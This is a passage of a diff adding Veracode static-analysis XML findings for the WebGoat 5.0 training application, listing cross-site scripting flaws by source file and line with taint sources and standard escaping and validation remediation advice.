+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
